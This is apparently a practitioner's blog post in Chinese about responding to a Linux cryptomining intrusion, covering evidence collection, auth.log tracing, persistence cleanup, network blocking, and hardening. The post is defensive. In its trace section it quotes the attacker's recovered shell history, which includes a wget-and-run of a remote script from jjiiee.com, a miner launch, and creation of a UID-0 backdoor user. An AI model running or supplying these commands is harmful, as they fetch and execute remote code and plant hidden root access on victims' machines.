先说结论一次挖矿应急响应表面上是杀进程、删文件实际上更像是一场和攻击者的追读赛——你慢一步他就在你的机器上多留一道后门。前两天我们刚处置完一起典型的Linux挖矿事件受害主机是Ubuntu 20.04攻击者通过SSH爆破拿到权限创建了可疑用户mage植入了门罗币挖矿木马还挂了一个恶意域名jjiiee.com用来做下载分发和矿池回连。这篇文章我把从发现、隔离、溯源、清除到加固、监控的完整过程全部整理出来包括我在现场踩过的坑和几条只有真正处置过才会懂的经验。无论你是刚接触应急响应的新人还是日常扛着服务器安全的运维/安全工程师这套流程都可以直接参考着落地。1. 挖矿应急响应的基本作战思路1.1 挖矿事件为什么值得认真处置很多人觉得挖矿不就是占点CPUkill掉进程就完事了。实际上挖矿木马从来不是凭空出现的能种矿机说明攻击者已经拿到了这台机器的执行权限而且极大概率已经是root权限。他会顺手做的远比“挖矿”多——创建后门账户、植入rootkit、替换SSH配置、把这台主机拉进资源池甚至当作跳板去打内网的更多机器。所以应急响应的重点从来不是“杀掉挖矿进程”而是找出“他是怎么进来的”“他做了什么”“还留了什么后门”。这正是“知攻善防”里“知攻”的部分只有沿着攻击者的操作链路往回追才能真正做到防得住。另外挖矿事件对企业来说不只是电费和算力损失还有业务连续性跟合规审计层面的影响。如果是面向客户的业务系统CPU被占满会导致接口响应缓慢甚至直接宕机而一旦后续发现这台机器是被入侵后拿来做跳板的问题就更大了。因此每次挖矿告警都应该当成一次完整的入侵事件来处置不能只降级到“杀毒”层面。1.2 先定处置路径再动手我在现场的第一条经验是先别急着kill。你一上去就把挖矿进程杀了很容易打草惊蛇而且进程一旦消失很多溯源线索就跟着断了比如它对外连接的矿池地址、C2地址、真实可执行文件路径这些都是通过运行进程才能拿到的现成信息。更合理的路径是隔离→取证→排查→清除→加固→监控六步走完才算闭环。隔离的目的是在不惊动攻击者的情况下切断他继续操作的机会比如在云控制台做安全组变更只保留必要端口取证是把现场信息尽可能完整地拷贝下来排查是为了还原入侵链路清除是把样本、后门、持久化任务全拆掉加固是堵住入口监控则是防止攻击者去而复来。后面文章所有内容都沿着这条路径一步步展开。2. 发现异常与现场保护2.1 第一现场top看到的那个诡异进程刚到现场我先刷了三样东西top、ps、ss。当时最直观的现象是整台8核机器CPU全被拉满负载值飙到十几业务接口延迟肉眼可见地变高。我快速记录了几个关键信息进程名xnayx典型随机字符串大概率是二进制被改名后运行的不能用进程名判断真实身份。CPU使用率800%左右即占满了8个核心这个强度基本可以断定是在挖矿。启动时间进程启动于当天凌晨6点47分正好和后面日志里查到的登录时间点对得上。网络连接进程与外部IP 203.0.113.188 的4444端口建立了TCP连接这种端口的特征非常像矿池回连。我当时执行的命令是这样top -c -b -n 1 | head -20 ps -ef --sort-%cpu | head -10 ss -antp | grep xnayx ls -l /proc/$(pgrep xnayx | head -1)/exe cat /proc/$(pgrep xnayx | head -1)/cmdline | tr \0 这里有个很重要的点用/proc目录而不是只依赖ps结果。因为ps和top显示的是经过伪装的进程名而/proc/PID/exe是内核提供的真实可执行文件符号链接指向路径不会被一般的名称欺骗手段遮盖。哪怕攻击者改了comm字段这里看到的仍然是真实落地路径。在/proc/PID/exe里定位到的路径是/tmp/.x/xxykcmdline里有-p stratumtcp://pool.jjiiee.com:4444这样的矿池连接参数。到这里挖矿行为基本实锤恶意域名jjiiee.com也浮出水面了。2.2 先取证再处置现场信息收集清单确认挖矿之后我没有立刻删文件而是先把现场快照留下来。这一步不需要多高精尖的工具Linux原生命令就能完成大部分工作。我整理了一张取证清单建议大家也存进自己的笔记里取证项命令/路径说明进程列表ps -ef、ps auxf记录全部进程及父子关系网络连接ss -antp记录外部回连IP和端口登录记录last -20、lastlog还原谁在什么时间登录认证日志副本cp /var/log/auth.log /tmp/evidence/原始日志只读拷贝计划任务crontab -l、/var/spool/cron/收集所有cron条目自启动服务systemctl list-unit-files排查自启动服务恶意文件样本cp -p样本文件保留权限和时间戳文件哈希sha256sum xxx后续查威胁情报必用环境变量/proc/PID/environ可能隐藏动态库劫持线索操作上有个容易忽略的小细节拷贝日志和样本时尽量不要修改原文件的访问时间否则后面做时间线分析容易被干扰。我一般用cp -p保留原权限和时间戳样本文件则直接重定向到取证目录保存能不动原文件就绝不动。注意应急响应的取证要抱着“宁可多存、不可漏存”的心态。很多时候你以为没用的日志行恰恰是后面定位攻击路径的关键。3. 日志溯源从auth.log挖出入侵路径3.1 Ubuntu 20.04的日志到底怎么查本次受害机器是Ubuntu 20.04核心的认证日志就是/var/log/auth.log。这个文件记录了几乎所有和认证相关的行为SSH登录成功/失败、su切换、sudo执行、用户创建、服务启动时的账户认证等。和CentOS/RHEL家族的/var/log/secure功能对应但路径不同很多新手在这里容易踩坑。我先用last看了一眼登录历史再用grep在auth.log里做分类统计last -20 sudo grep Accepted password /var/log/auth.log | tail -20 sudo grep Failed password /var/log/auth.log | wc -l sudo grep -E useradd|groupadd|passwd /var/log/auth.log这里需要说明last读取的是/var/log/wtmp只记录成功的登录会话而auth.log里的Failed password能告诉我们暴力破解的规模。两个一结合基本能拼出入侵者的攻击节奏。做完这几步我锁定了两个关键信息其一从某天凌晨1点开始有大量来自203.0.113.66的Failed password记录其二在这些爆破记录之后出现了几行Accepted password for mage from 203.0.113.66 port 58432 ssh2。也就是说攻击者通过SSH暴力破解在某个时刻成功登入了系统。3.2 从auth.log锁定可疑用户mage的成功登录看到mage这个用户名时我先查了一下/etc/passwd确认系统里原本没有这个用户。但问题来了日志显示Accepted password for mage说明这个用户至少在登录那一刻已经存在而且用的是密码认证。那用户是哪来的答案藏在更早的日志记录里。继续往前翻auth.log发现在爆破成功之前有一段很关键的记录Mar 18 03:12:44 host-login sshd[22311]: Failed password for mage from 203.0.113.66 Mar 18 03:13:01 host-login useradd[22315]: new user: namemage, uid0, ...uid0这个细节非常关键——攻击者创建了一个UID为0的用户这在系统权限上和root完全等价但表面用户名却是mage登录后的家目录、shell也没有明显异常。这种后门账户做法在真实入侵里非常常见UID为0的非root账户在/etc/passwd里看起来只是多了一行实际上已经拥有root的全部能力。所以应急响应时我永远会把下面这条命令放进去awk -F: $30{print $1} /etc/passwd查到这一步入侵路径已经清晰了一部分攻击者先爆破拿到执行权限然后创建UID 0后门账户mage再通过mage成功登录并部署挖矿程序。当然爆破只是一种入口更准确的入口定位还需要结合下一步的bash_history和恶意进程的落地时间线交叉验证。3.3 bash_history还原攻击者完整操作链有了登录时间点我再去看/home/mage/.bash_history尝试把攻击者登录后的操作串起来。攻击者虽然可能自己清理过history但这次我拿到的是一个相对完整的副本sudo cat /home/mage/.bash_history | tail -50看到的关键命令大致是这样已脱敏wget -q http://jjiiee.com/k.sh -O /tmp/k.sh chmod x /tmp/k.sh bash /tmp/k.sh sed -i /jjiiee/d /etc/hosts nohup /tmp/.x/xxyk -p stratumtcp://pool.jjiiee.com:4444 useradd -o -u 0 mage echo mage:Passw0rd! | chpasswd mkdir -p /tmp/.x把这几行和挖矿进程的启动时间一对照就完全吻合了下载脚本→执行部署→清理痕迹→启动挖矿进程→创建后门账户。真实攻击者不会像电影里那样一条条慢慢操作他会把整个部署过程写成一个shell脚本让机器自动执行。这也是为什么我在/tmp/k.sh里能看到一整套自动安装逻辑包括下载主程序、设置自启动、修改系统DNS缓冲等动作。这份脚本本身是溯源的重要物证我顺手保存了它的完整哈希。4. 恶意程序分析与清除实操4.1 揪出挖矿进程的真实面目前面通过/proc/PID/exe定位到挖矿程序主体在/tmp/.x/xxyk现在要做的是把样本完整保存并做基础分析。我第一时间的操作是这样mkdir /tmp/evidence cp -p /tmp/.x/xxyk /tmp/evidence/ sha256sum /tmp/.x/xxyk /tmp/k.sh file /tmp/evidence/xxyk strings /tmp/evidence/xxyk | grep -Ei pool|stratum|jjiiee|dns | head -20file结果显示这是一个stripped的ELF 64位可执行文件说明是编译好的二进制不是脚本。strings里能看到矿池地址、钱包地址、还有--donate-level之类的参数——这些特征基本吻合XMRig系矿机的典型结构。所谓“挖矿病毒”的本质很多时候就是攻击者把开源矿机XMRig改一下名字、加一层壳或者用UPX压缩再配合一个下载器脚本就形成了。分析完拿到哈希之后我把sha256放到了几个公开威胁情报平台查询。这一步非常关键。用哈希去比对能直接看到这个样本在其他环境下的行为报告、关联域名、关联样本。查询结果进一步确认了恶意域名jjiiee.com在该样本中同时承担了分发站和矿池域名的角色。4.2 一个不漏持久化后门逐个清理挖矿木马要活得久必须挂持久化。Windows上是计划任务/服务/注册表Linux上则是cron、systemd、rc.local、profile脚本这几个常见窝点。我这次的排查顺序是crontab相关crontab -l、/var/spool/cron/crontabs/*、/etc/cron.d/、/etc/cron.hourly/、/etc/cron.daily/。systemd服务重点看/etc/systemd/system/里最近创建的服务文件以及systemctl list-unit-files | grep enabled里的异常项。开机启动脚本/etc/rc.local、/etc/profile.d/、~/.bashrc、~/.profile。动态库劫持/etc/ld.so.preload以及它指向的恶意.so文件。这里要特别强调一下ld.so.preload劫持攻击者可以把恶意so写进这个文件让系统里几乎每一个新启动的进程都自动加载它从而实现命令篡改和进程隐藏。常见表现就是你执行ps、ls、ss看到的结果都不是真实的而是被过滤后的结果。我在这次事件里发现了相关痕迹好在攻击者只做了初步配置没完全隐藏排查没有绕太多路。如果遇到命令结果异常优先用cat /etc/ld.so.preload和find /usr /lib -name *.so -newer 参照文件这类方式排查。清理的顺序也有讲究先处理持久化再杀进程、删文件。如果顺序反了攻击者的守护进程会在你删完文件后立刻又拉起来形成“杀不干净”的死循环。我实际的清理操作如下# 1. 先停服务和计划任务 systemctl disable --now xxyk.service crontab -r -u root rm -f /etc/cron.d/xx /etc/cron.hourly/xxx # 2. 清理ld.preload与恶意动态库 echo /etc/ld.so.preload rm -f /tmp/.x/libx.so # 3. 再杀进程 kill -9 $(pgrep xxyk) 2/dev/null # 4. 最后删样本并加锁保护关键文件 rm -rf /tmp/.x /tmp/k.sh chattr i /etc/ld.so.preload每一步做完都立刻重新确认对应位置是否已经清空这是确保不遗漏的有效手段。有时候攻击者会在cron配置里写很多重定向、编码后的命令一行cron就够重新下载完整矿机所以cat /etc/cron.d/*时一定要逐行看不能只看一眼文件是否存在。4.3 文件、用户、SSH后门全面排查除了持久化还有一个容易被忽略的点SSH后门和隐藏用户。攻击者既然创建了mage很可能也动了SSH配置。我逐项排查了/root/.ssh/authorized_keys以及所有/home/*/.ssh/authorized_keys里是否有陌生公钥/etc/passwd中UID为0的账户/etc/shadow中UID为0或密码时间戳被修改过的行/etc/ssh/sshd_config里是否被加入了新的AuthorizedKeysFile路径或AllowUsers配置最近7天被修改过的SUID文件find / -perm -4000 -type f -mtime -7。排查结论是发现了两处需要注意的地方mage用户的authorized_keys里确实有一把未知公钥另外/root/.bashrc被追加了一段拉取远端脚本的语句。这类后门不清理干净即使挖矿程序被删了攻击者依然可以随时通过密钥登录系统换个马甲继续挖。这就是我反复强调的原因应急响应的目标不是杀毒是让这台机器回到“只归属于你”的状态。5. 恶意域名jjiiee.com与黑产团伙的联动处置5.1 从样本里扯出的恶意基础设施前面已经从样本配置和脚本里提取到了恶意域名jjiiee.com。用dig查询它的A记录解析结果指向了若干IP。同时脚本里wget的引用地址也确认第一次下载矿机就是从这个域名完成的。这里多说一句域名是整个攻击链条的“路标”。登录爆破看的是IP但爆破来源IP通常很飘今天用这个、明天换那个而恶意域名往往更稳定黑产团伙为了收益会长期维护它。因此应急处置时一定不要只封IP要给恶意域名单独建档。我通常会在威胁情报平台把域名的解析历史、关联样本、相关子域名全拉出来一并保存到事件报告里。后续如果内网再有其他主机出现对jjiiee.com的访问尝试就能快速关联到同一拨攻击者这就是“溯源”的延伸价值。黑产团伙反复攻击的特点在这次事件里体现得很明显第一次清理完第二天又出现了新的Failed password并且有从另一个IP发起、针对mage用户的登录尝试。这说明攻击者对这台机器很“上心”也说明前面的清理动作可能触发了他们的监控。应对这类情况必须在主机清理的同时把网络层和DNS层的阻断跟上让攻击者即使还有密码也连不进来。5.2 网络层阻断与DNS黑洞配置网络层阻断是所有手段里最立竿见影的。我这边同时做了两层。第一层是主机防火墙。直接封禁恶意域名解析出来的IP以及爆破来源IPiptables -I OUTPUT -d 203.0.113.188 -j DROP iptables -I INPUT -s 203.0.113.66 -j DROP封掉矿池回连IP之后即使机器上还有残留样本恶意程序也无法出网CPU会立刻降下来。封掉攻击来源IP则能直接挡掉后续爆破尝试。这里注意iptables -I是插入到规则头部确保优先级最高如果用的是云服务器还应该在安全组里同步配置因为安全组规则在操作系统之前生效会更早拦截。第二层是DNS黑洞。公司内部如果自己管DNS就直接把恶意域名解析到127.0.0.1或者不可达地址。我在一台内部dnsmasq服务器上加了这样一行address/jjiiee.com/127.0.0.1用dnsmasq的address配置可以让所有内网客户端解析该域名时得到空洞地址不会再访问到真实矿池。如果是单机场景也可以临时在/etc/hosts里写0.0.0.0 jjiiee.com但/etc/hosts很容易被攻击者自己改回去所以这里还是建议做成企业级DNS过滤并搭配文件完整性监控保证本地hosts不被二次篡改。补充一个细节DNS黑洞和网络阻断要打“组合拳”。只做DNS黑洞攻击者如果直接用IP连接依然可以绕过只做IP阻断攻击者换个CDN IP又回来了。所以正确做法是域名层面做黑洞IP层面按解析结果封禁同时在出口防火墙上做基于SNI/域名的阻断如果有这个能力。这样才能尽可能堵住各种绕过路径。5.3 WAF/IDS规则配置与验证在这起事件里入口虽然是SSH爆破但黑产团伙很可能同时也在探测Web入口所以不能只处理主机侧。我顺手把恶意域名的特征加进了WAF和IDS规则把防护范围扩展到整个网络流量。WAF方面我给业务侧配置了封禁规则凡是URI、请求体、User-Agent中带jjiiee.com特征的请求一律拦截同时调整了登录接口的限速策略把单IP的登录频率阈值从每分钟100次压到10次减少暴力破解的成功概率。IDS方面用Suricata加了一条简单的检测规则alert http any any - any any (msg:black-miner-download jjiiee.com; content:jjiiee.com; sid:10000001; rev:1;)这种规则的作用是只要内网再出现任何访问该域名的流量IDS就能立刻告警帮助我们快速发现其他疑似被入侵的主机。规则加完之后一定要验证不是配完就完事。我的验证方法是拿一台测试机主动请求该域名确认IDS确实产生了告警日志、WAF也确实返回了阻断页面。验证通过后再把规则同步到告警群让后续任何动态都能被第一时间感知。提示检测规则要控制告警频率避免误报刷屏。初次上线时可以先开观察模式确认真实告警占比后再切换为拦截模式。6. 主机加固与长期监控方案6.1 被入侵后的加固基线清理完恶意内容下一步是把这台主机恢复到能继续用的安全状态。我会按下面的清单过一遍缺一项都不算结束SSH加固禁用root密码登录PermitRootLogin prohibit-password、修改默认SSH端口、全部改用密钥登录、删除所有未知authorized_keys。账户清理删除mage等可疑用户检查UID 0账户锁定不再使用的账号。认证防护安装并配置fail2banSSH尝试失败5次后临时封禁来源IP一小时。服务收敛关闭不必要的对外服务像Redis、Docker API这类容易被利用的端口不要直接暴露公网。补丁更新apt update apt upgrade -y重点修复内核和OpenSSH相关更新。日志配置打开auditd把auth日志单独做异地集中保存避免本地日志被攻击者销毁。简单展示一下fail2ban针对sshd的配置[sshd] enabled true port ssh filter sshd logpath /var/log/auth.log maxretry 5 bantime 3600这里有个很容易忽略的点如果攻击者是通过某个应用漏洞进场只加固SSH是不够的。因此我在跑基线之前先复盘入口判断把所有对外暴露的端口都拉出来逐个确认是否有对应的脆弱组件再决定加固范围。服务器上跑着的老旧Web组件如果没补丁该下线就下线这是防止二次入侵的根本。6.2 长期监控让“反复攻击”无处遁形这不是一次性的操作而是要建立长效机制。我在这套环境里最终落地了四样东西。第一认证日志监控。写一个简单的cron脚本每5分钟统计auth.log里新增的Failed password数量超过阈值就报警。脚本逻辑示意#!/bin/bash THRESHOLD30 COUNT$(grep Failed password /var/log/auth.log | wc -l) if [ $COUNT -gt $THRESHOLD ]; then echo auth failed count: $COUNT | mail -s SSH爆破告警 $(hostname) yourexample.com fi实际使用中建议把日志集中到ELK或Loki用查询直接从集中日志里拉数据效果比单机脚本好很多。第二文件完整性监控。用AIDE对/etc、/usr/bin、/root做基线快照之后定期比对。这类工具的作用是就算攻击者再次植入文件你通过快照比对就能发现diff而不是等到CPU飙高才知道出事。轻量级做法是先sha256sum一遍关键文件入库每周再比对一次代码量不大但很有效。第三进程与资源监控。用Prometheus node_exporter采集CPU/内存/进程数配一条简单的告警规则比如CPU连续10分钟超过80%就直接拉群。挖矿的第一症状是CPU异常这个指标永远不能丢。第四威胁情报同步。把jjiiee.com这类已知恶意域名维护进定期更新的黑名单不管换到哪台机器都会继续拦截。也可以把最新的恶意文件哈希补充到杀毒软件或EDR的检测库里增强整体的综合防御能力。7. 处置过程中我总结的几条实在经验7.1 最容易被忽略的细节写到最后分享几条在这次处置里反复验证过的体会。第一不要迷信单条日志。auth.log里的Accepted password只能说明有人在某个时间成功登录不能直接说明他登录后干了什么。一定要配合bash_history、进程启动时间、文件创建时间交叉验证才敢下结论。做溯源报告时时间线表格是我最常用的整理工具把日志事件、进程启动、文件创建按时间排开入侵全貌一下就清晰了。第二备份永远比删除重要。我在删除任何可疑文件前都会先拷贝到取证目录并算好哈希。因为后续写报告、给客户或者管理层汇报时你总要拿出“攻击者做了什么”的证据而且有些样本值得继续做深度分析删了就再也找不回来了。第三网络阻断和主机清理必须同步推进。如果先清理后封堵攻击者会在窗口期里继续尝试进入如果先封堵后清理虽然更安全但可能错过观察恶意行为的时机。我目前的节奏是简单取证完成后立刻封IP、封域名再安心做深度的主机清理这样既安全又不丢线索。第四应急响应从来不只是救火更是对日常防御能力的体检。这次事件暴露出来的问题是弱口令没有清理、SSH端口直接暴露公网、日志没有异地保存、服务器上还存在其他未修复的组件。这些问题如果不在平时修掉下次来的可能就不是挖矿木马而是勒索软件或数据窃取了。处理完这台机器后我把这次的时间线、样本哈希、恶意域名、处置动作、加固清单整理成了一份标准应急响应文档同步给整个运维和安全团队。真正有效的“善防”是让每一次攻击处置的经验都变成下一次防御的默认配置。希望你下次遇到挖矿告警时也能按照这套思路稳扎稳打而不是一上来就盲目杀进程。如果心里还没底可以先拿靶场把Linux日志分析练熟特别是/var/log/auth.log这种最基础也最有价值的日志熟练之后真实场景里你会用得更自信。